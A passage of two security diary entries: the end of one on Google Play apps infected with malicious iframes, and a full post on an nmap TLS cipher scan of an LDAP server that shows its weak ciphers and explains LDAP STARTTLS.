If this sounds like last year's XCodeGhost issue to you (where Apple devs pulled unsanctioned, infected code libraries), you are not alone.  Because of their position in the food chain, developers especially need to be careful about what they download, and what ingredients go into making their apps.  This means libraries, compilers, IDEs - everything that goes into the pot to make the soup that becomes their app.  One infected tool or library can easily affect thousands or millions of end users.  Luckily today's issue ends up being a bit of a non-issue - - the malware simply is not effective on the platform it's being delivered to.  However, if it had been written a bit more cleverly, or been more targetted, it could have become a decent android worm, or the android app could have become a "carrier" for a plague on windows or OSX hosts.  Hopefully it's a wake-up call for folks to build their apps using libraries and code directly from the source - a free download generally means that you've just become the product (or the vector to get to the end product).

Kudos to Xiao Zhang, Wenjun Hu and Shawn Jin from Palo Alto Networks for their excellent sleuthing and write-up.  They in turn acknowledge Zhi Xu and Claud Xiao from Palo Alto Networks as well as the Google Security team for their help in piecing this together.  Full details here: http://researchcenter.paloaltonetworks.com/2017/03/unit42-google-play-apps-infected-malicious-iframes/

===============
Rob VandenBrink
Compugen

At a recent penetration test, one of typical tests that everyone runs these days are available TLS/SSL ciphers. There are many tools that can be used for this – I personally prefer nmap’s ssl-enum-ciphers script, which does a great job on ranking ciphers similarly to what SSL Labs do (but you can run it on any port and on internal sites as well). A lot of people use testssl.sh, which is very nice as well.
I was going through results of a scan and noticed something weird – weak ciphers were reported for TCP port 389, which is LDAP. This actually caused me to think it is a false positive, but then – having such a false positive with nmap was unusual so I decided to dig deeper (read: thing that SANS ISC Handlers love the most: look into packets).
Here’s the output of the nmap script:

$ nmap -sT -Pn -p 389 10.0.161.5 --script ssl-enum-ciphers

Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-03-01 21:06 CET
Nmap scan report for rhea.zoo.local (10.0.161.5)
Host is up (0.00036s latency).
PORT    STATE SERVICE
389/tcp open  ldap
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       CBC-mode cipher in SSLv3 (CVE-2014-3566)
|       Ciphersuite uses MD5 for message integrity
|       Weak certificate signature: SHA1
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Weak certificate signature: SHA1
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 1024) - A
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 1024) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Key exchange (dh 1024) of lower strength than certificate key
|       Weak certificate signature: SHA1
|_  least strength: C

As shown above – it’s certainly TCP port 389 and yet we have ciphers properly detected. Initially I thought this must be some kind of STARTTLS, which allows one to take an existing insecure connection and upgrade it to a secure connection using SSL/TLS. STARTTLS is very common on SMTP but here we’re talking about LDAP.
After doing a network capture I went to analyze packets and, since we’re talking about LDAP, the whole STARTTLS story looks a bit different. The important packet is shown in the figure below:

We can see that a specific OID is being requested here: LDAP_START_TLS_OID (1.3.6.1.4.1.1466.20037). This request basically tells the LDAP server STARTTLS – if the response is success, which we can see in the figure below, the client can start an SSL/TLS session:

After this the packet capture shows normal SSL/TLS continuation where Client Hello, Server Hello and all other required packets are exchanged.
The listing above shows also a lot of ciphers which are today not considered secure or best practice.

However, before blindly screaming SSLv3 and POODLE, it should be noted that exploitation of this vulnerability requires the attacker (besides performing a MitM attack) to be able to make the client send some arbitrary requests (so proper padding can be provoked), which might not be that easy or possible for protocols such as LDAP – but I’ll leave this for a future diary.

--
Bojan
INFIGO IS
@bojanz